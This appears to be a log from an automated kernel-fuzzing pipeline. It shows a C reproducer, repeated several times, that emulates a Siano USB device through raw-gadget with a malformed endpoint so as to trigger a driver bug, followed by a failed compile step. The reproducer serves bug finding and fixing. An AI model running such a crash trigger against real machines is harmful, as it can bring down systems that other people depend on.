#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
]

190/3 2026/09/04 10:34 loop
1m
191/4 2026/09/04 10:34 iteration 0
1m
192/5 2026/09/04 10:34 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
]

193/5 2026/09/04 10:34 action compile-c-prog
0m Results:
map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	struct usb_raw_event event;
	uint8_t buf[256];

	while (1) {
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
			break;
		}

		if (event.type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event.type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event.ctrl;
			struct usb_raw_ep_io io;
			io.ep = 0;
			io.flags = 0;
			io.length = 0;
			io.data = NULL;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io.length = sizeof(dev_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = (uint8_t *)&dev_desc;
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io.length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						memcpy(buf, str_desc, sizeof(str_desc));
						io.length = sizeof(str_desc);
						if (io.length > ctrl->wLength)
							io.length = ctrl->wLength;
						io.data = buf;
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, &io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}

<stdin>: In function 'usb_raw_ep_enable':
<stdin>:84:10: error: invalid use of flexible array member
<stdin>: In function 'usb_raw_vbus_draw':
<stdin>:92:26: error: storage size of 'vbus' isn't known
<stdin>: In function 'handle_ep0':
<stdin>:173:67: error: 'struct usb_raw_event' has no member named 'ctrl'
<stdin>:178:12: error: invalid use of flexible array member
<stdin>:187:15: error: invalid use of flexible array member
<stdin>:197:15: error: invalid use of flexible array member
<stdin>:204:15: error: invalid use of flexible array member
At top level:
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics

compiler invocation: gcc [-o /tmp/syz-executor496383425 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w] FormattedReproC:]

194/5 2026/09/04 10:34 action If
1m Args:
map[CompilerError:failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	struct usb_raw_ep_io io;
	io.ep = ep;
	io.flags = 0;
	io.length = sizeof(*desc);
	io.data = (uint8_t *)desc;
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	struct usb_raw_vbus_set vbus;
	vbus.mA = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
